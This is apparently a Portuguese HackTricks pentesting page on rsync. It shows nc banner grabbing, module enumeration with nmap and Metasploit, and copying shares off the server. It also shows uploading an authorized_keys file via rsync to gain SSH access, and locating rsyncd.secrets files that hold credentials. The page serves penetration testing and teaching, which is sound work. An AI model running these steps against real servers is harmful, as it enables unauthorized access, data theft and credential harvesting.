7.9 KiB
873 - Pentesting Rsync
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Trabalha numa empresa de cibersegurança? Quer ver a sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Adquira o material oficial PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Informações Básicas
rsync é uma ferramenta para transferir e sincronizar arquivos de forma eficiente entre um computador e um disco rígido externo e entre computadores em rede, comparando os tempos de modificação e tamanhos dos arquivos.[3] É comumente encontrado em sistemas operacionais do tipo Unix. O algoritmo rsync é um tipo de codificação delta e é utilizado para minimizar o uso da rede. Zlib pode ser usado para compressão de dados adicional,[3] e SSH ou stunnel podem ser usados para segurança.
De wikipedia.
Porta padrão: 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Enumeração
Banner & Comunicação Manual
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Enumerar pastas compartilhadas
Um módulo rsync é essencialmente um compartilhamento de diretório. Esses módulos podem opcionalmente ser protegidos por uma senha. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acesso:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Perceba que pode ser configurado um nome compartilhado para não ser listado. Assim, pode haver algo oculto. Perceba que podem haver alguns nomes compartilhados listados onde você precisa de algumas (diferentes) credenciais para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você perceberá isso se receber uma mensagem de "Acesso Negado" ao tentar acessar alguns deles.
Força Bruta
Rsync Manual
Uma vez que você tem a lista de módulos, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é ou não necessária. Se a autenticação não for necessária, você pode listar uma pasta compartilhada:
rsync -av --list-only rsync://192.168.0.123/shared_name
E copie todos os arquivos para sua máquina local através do seguinte comando:
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Esta transfere recursivamente todos os arquivos do diretório <shared_name>
na máquina <IP>
para o diretório ./rsync_shared
na máquina local. Os arquivos são transferidos no modo "arquivo", o que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.
Se você possui credenciais, pode listar/baixar um nome compartilhado usando (a senha será solicitada):
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Você também pode fazer upload de algum conteúdo usando rsync (por exemplo, neste caso, podemos fazer upload de um arquivo authorized_keys para obter acesso ao sistema):
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Encontre o arquivo de configuração rsyncd:
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro secrets file = /path/to/file e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à versão mais recente do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção de NFTs exclusivos
- Adquira o material oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.